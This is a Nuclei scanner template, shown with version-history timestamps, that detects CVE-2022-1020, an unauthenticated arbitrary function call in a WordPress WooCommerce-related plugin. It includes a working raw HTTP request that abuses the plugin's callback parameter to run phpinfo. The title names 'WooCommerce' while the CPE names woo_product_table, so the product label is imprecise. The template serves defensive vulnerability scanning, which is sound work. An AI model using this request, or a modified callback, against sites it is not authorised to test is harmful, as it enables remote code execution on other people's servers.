nuclei-templates/http/cves/2022/CVE-2022-1020.yaml

57 lines
2.0 KiB
YAML
Raw Normal View History

2022-04-20 22:47:29 +00:00
id: CVE-2022-1020
info:
name: WordPress WooCommerce <3.1.2 - Arbitrary Function Call
2022-04-20 22:47:29 +00:00
author: Akincibor
severity: critical
description: WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.
2023-09-27 15:51:13 +00:00
impact: |
It allows remote code execution on the affected system.
2023-09-06 11:59:08 +00:00
remediation: |
Update WordPress WooCommerce plugin to version 3.1.2 or later to mitigate the vulnerability.
2022-04-20 22:47:29 +00:00
reference:
- https://wpscan.com/vulnerability/04fe89b3-8ad1-482f-a96d-759d1d3a0dd5
- https://nvd.nist.gov/vuln/detail/CVE-2022-1020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1020
2023-07-11 19:49:27 +00:00
cwe-id: CWE-352
epss-score: 0.01578
epss-percentile: 0.8591
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:codeastrology:woo_product_table:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: codeastrology
product: woo_product_table
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,unauth,codeastrology
2022-04-20 22:47:29 +00:00
http:
2022-04-22 13:20:27 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_key=a&perpose=update&callback=phpinfo
2022-04-20 22:47:29 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'
2023-07-11 19:49:27 +00:00
part: body
# digest: 4b0a00483046022100d72b3184e8c6816aa9ec7e5ed2c9056be7eb0b109c6804c4cf0e15b36820e08502210085b3058836347638c5caed04b0a921408540b1f7a8c1643114113dda36e8ac99:922c64590222798bb761d5b6d8e72950